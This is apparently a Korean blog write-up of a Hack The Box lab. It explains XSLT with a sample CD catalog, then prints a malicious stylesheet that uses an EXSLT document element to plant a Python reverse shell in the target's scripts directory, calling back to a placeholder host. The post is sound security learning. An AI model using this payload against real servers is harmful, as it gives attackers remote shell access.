핵박 문제 풀던 중 XSLT 관련 내용 나오길래 XSLT 인젝션이라는 걸 알게됨. (뭔 놈의 인젝션이 이리 많냐...)
XSLT가 뭔지부터 보자
XML 파일이 있음. 확장 마크업 랭귀지인데 이리 말하면 어려우니 그냥 HTML 이라고 보면 됨. 좀 더 많은 걸 할 수 있음 ㅇㅇ
XSLT는 이 XML 파일을 가지고 HTML 이나 PDF 파일로 만들거나, XML 파일에서 필요한 데이터를 추출하는데 사용됨.
즉 데이터 가공을 위한 데이터임.
예시를 보자
이....런 XML 파일이 있다고 하
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
<country>USA</country>
<price>10.90</price>
</cd>
<cd>
<title>Hide Your Heart</title>
<artist>Bonnie Tyler</artist>
<country>UK</country>
<price>9.90</price>
</cd>
<cd>
<title>Greatest Hits</title>
<artist>Dolly Parton</artist>
<country>USA</country>
<price>12.50</price>
</cd>
</catalog>
이 파일은 XSLT 파일이다. xsl로 바꾸는 형태이고, 탬플릿은 보면 html로 되어 있다. 그래 그냥 HTML 이라고 생각하자.
이건 XML 파일을 HTML로 바꾸게 도와주는 XSLT 파일이다!
내용보면 꽤 쉽다. title, artist, country, price를 가져와서 테이블에 넣는다.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>Artist</th>
<th>Country</th>
<th>Price</th>
</tr>
<xsl:for-each select="catalog/cd">
<tr>
<td><xsl:value-of select="title"/></td>
<td><xsl:value-of select="artist"/></td>
<td><xsl:value-of select="country"/></td>
<td><xsl:value-of select="price"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
애니웨이~ XSLT 파일은 데이터 가공을 위한 파일이라고 했다. 그러면 가공을 하기 위해선 내부 동작이 필.요.한.데! 여기서 코드 실행이 가능하다는 거다.
이 깃헙에 리눅스용 XSLT 인젝션 관련 샘플 코드가 있다.
https://github.com/ex-cal1bur/XSLT-Injection_reverse-shell/blob/main/README.md
XSLT-Injection_reverse-shell/README.md at main · ex-cal1bur/XSLT-Injection_reverse-shell
Demonstration of advanced exploitation using XSLT injection to achieve a reverse shell. - ex-cal1bur/XSLT-Injection_reverse-shell
github.com
악성 XSLT 코드이다. 내용을 살펴보자.
xmlns:ptswarm 을 통해 ptswarm 확장 기능을 사용하겠다는 뜻이다. 뭐.. 이건 네임스페이스 라고 하는데, 사용자 정의 영역이라서 딱히 별 의미는 없다고 한다.
중요한 건 ptswarm:document 부분이다. document는 파일을 쓰거나 생성하는 역할을 한다. 즉 /script/test2.py 라는 이름으로 import os ... 이라는 내용을 저장해라~ 라는 뜻이다.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ptswarm="http://exslt.org/common"
extension-element-prefixes="ptswarm"
version="1.0">
<xsl:template match="/">
<ptswarm:document href="/var/www/conversor.htb/scripts/test2.py" method="text">
import os
os.system(
"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.XX.XX\",XXXX));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])'"
)
</ptswarm:document>
</xsl:template>
</xsl:stylesheet>
그러면 악성 파일을 타겟 호스트에 생성하고 실행은 어찌하느냐?
그니까... 어찌하냐? LFI도 안되고 뭣도 없는데..?
XSLT 인젝션에 대한 글을 보면 자바라면 자바 Runtime 익스텐션 가져와서 코드 실행 가능하다고 한다.: https://www.hek.si/documents/An_unxpected_journey-_from_XSLT_injection_to_a_shell_Jusic_Infigo_IS.pdf
근데 해보니까~~ 안되더라. 자바 환경이 아니라 그런가 봐
어쨌든 파일 업로드 하고 포트 리스닝 하면서 기다리니까

똬! 왜 되냐? 아마 scripts 디렉토리 이름을 보면 해당 디렉토리에 있는 스크립트를 주기적으로 실행하니 가능한 것 같다.

XSLT에 대해 더 연구해보고 싶긴한데.. 딴것도 많아서 이만.. 다음에는 XSLT를 이용한 SSRF도 시도해봤으면 좋겠네
'주요통신기반시설 취약점 가이드 > 주통기 웹' 카테고리의 다른 글
| 쿠키 변조(Cookie Tampering) (0) | 2025.03.19 |
|---|---|
| 파일 업로드(File Upload) (0) | 2025.03.18 |
| 크로스 사이드 스크립트(XSS) (0) | 2025.03.18 |
| 경로 추적(Path Traversal) (0) | 2025.03.18 |
| 관리자 페이지 노출 (0) | 2025.02.20 |